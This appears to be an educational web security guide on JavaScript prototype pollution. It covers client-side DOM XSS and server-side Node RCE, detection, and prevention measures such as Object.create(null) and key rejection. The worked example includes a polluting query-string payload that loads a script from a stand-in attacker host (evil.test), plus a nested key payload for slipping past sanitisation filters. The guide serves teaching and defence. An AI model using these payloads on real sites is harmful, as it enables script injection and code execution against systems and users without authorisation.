Client-side
Prototype Pollution: The Complete Practical Guide
How prototype pollution works: polluting via __proto__, client-side DOM XSS and server-side Node RCE gadgets, and how to prevent it. With free practice.
Published

Prototype pollution is an attacker injecting properties onto Object.prototype, the object that nearly every other object in JavaScript inherits from, so that unrelated code later reads an attacker-controlled value as if it were its own. Because almost everything inherits from that one prototype, a single polluting write can flip a flag, change a default, or plant a gadget anywhere in the app. The two worlds matter: client-side pollution usually ends in DOM XSS, while server-side pollution in Node can reach remote code execution through a template or child-process gadget. Want to feel it rather than read about it? Sign up free and try it on a live target.
What is prototype pollution?
The mental model in one sentence: pollute one object, poison them all. JavaScript objects inherit from a shared prototype, and reading a property an object does not own walks up to that prototype. If an attacker can write a property onto Object.prototype, every object that lacks its own copy of that property now inherits the attacker's value. The pollution is a single write, and the damage is wherever some later code reads a property it assumed was undefined.
How JS inheritance makes it possible
Three names do the work: __proto__ is an object's accessor to its prototype, prototype is the object new instances of a constructor inherit from, and constructor points back to the function that built the object. obj.constructor.prototype and obj.__proto__ both reach Object.prototype for a plain object. The full model is in JS prototypes and inheritance.
Client-side pollution
In the browser, pollution comes from a source the page parses unsafely: a query string, a hash, or a JSON body fed to a vulnerable merge. The write is inert until a gadget reads the polluted property into a sink, which is how it becomes DOM XSS. See client-side prototype pollution.
Finding sources and gadgets
A source is anything that lets you set an arbitrary property path (query parsers, _.merge, deep-copy helpers, JSON merges). A gadget is any later read of a prototype-settable property into a dangerous operation. Finding both, on the client and the server, is in finding sources and gadgets.
Server-side pollution
In Node, a JSON request body deep-merged into config or options pollutes every object in the process until restart. Impact runs from flipping isAdmin, through corrupting defaults for denial of service, up to RCE via a gadget. See server-side prototype pollution.
Detecting it
Server-side pollution is blind: you cannot see the prototype directly. You detect it by polluting a property the framework reflects back and watching for a behavioural change. The probes and the safe-canary method are in detecting server-side prototype pollution.
Bypassing sanitisation
When a filter strips __proto__, reach the same prototype through constructor.prototype, and defeat a single-pass key stripper with a nested payload like __pro__proto__to__. See bypassing flawed sanitisation.
Impact
- Authorization and feature-flag flips when code reads an inherited
isAdminorisAuthenticated. - Denial of service by corrupting a default the app depends on.
- DOM XSS on the client when a gadget reads the polluted property into a script source or
innerHTML. - Remote code execution on the server through a template or child-process gadget.
A worked example
Say a page reads config from the URL with a vulnerable query parser, then a widget later loads a script from a config value. You pollute first:
https://app.example/?__proto__[transport_url]=//evil.test/x.jsA vulnerable parser that builds the object by assigning into nested keys (or a later recursive merge of the parsed data) walks the __proto__ path and, through that unsafe assignment, writes transport_url onto Object.prototype. The input is inert until that assignment runs, so a safe parser like URLSearchParams would not pollute. Nothing happens yet. You can prove the prototype moved in the console:
({}).transport_url; // -> "//evil.test/x.js"
Object.prototype.transport_url; // -> "//evil.test/x.js"Later the widget initializes with no own transport_url, so the read falls through to the polluted prototype:
let url = userConfig.transport_url; // own prop missing -> inherits the polluted value
let s = document.createElement("script");
s.src = url; // loads //evil.test/x.js
document.head.appendChild(s); // attacker script runs -> DOM XSSThat is the arc: a source sets a property on the prototype, and a later gadget reads it into a sink. On the server the same shape pollutes Object.prototype from a JSON body and a later gadget reaches RCE.
Prevention
- Use
Object.create(null)for any object used as a key/value map, so it has no prototype to pollute. Object.freeze(Object.prototype)at startup blocks the common vector, though it is not a complete fix.- Prefer
Mapover plain objects for untrusted-key dictionaries. - Schema-validate request bodies and reject the keys
__proto__,constructor, andprototyperecursively. - Replace unsafe deep-merge and clone helpers with versions that skip those keys, and keep dependencies current.
The full detail is in preventing prototype pollution.
Where it connects
Prototype pollution is a delivery mechanism for other bugs. On the client the gadget sink is DOM-based XSS, the same script-source and innerHTML sinks reached a different way. On the server the gadget often ends in code execution, which puts it next to insecure deserialization in the Node-RCE family, and the child-process gadget is a cousin of OS command injection.
Where to go next
Work through the cluster in order, or jump to what you need. Start with JS prototypes and inheritance, then client-side prototype pollution and finding sources and gadgets. When you want every payload in one place, the prototype pollution cheat sheet has them. And when you are ready to break something real, sign up free and start hacking.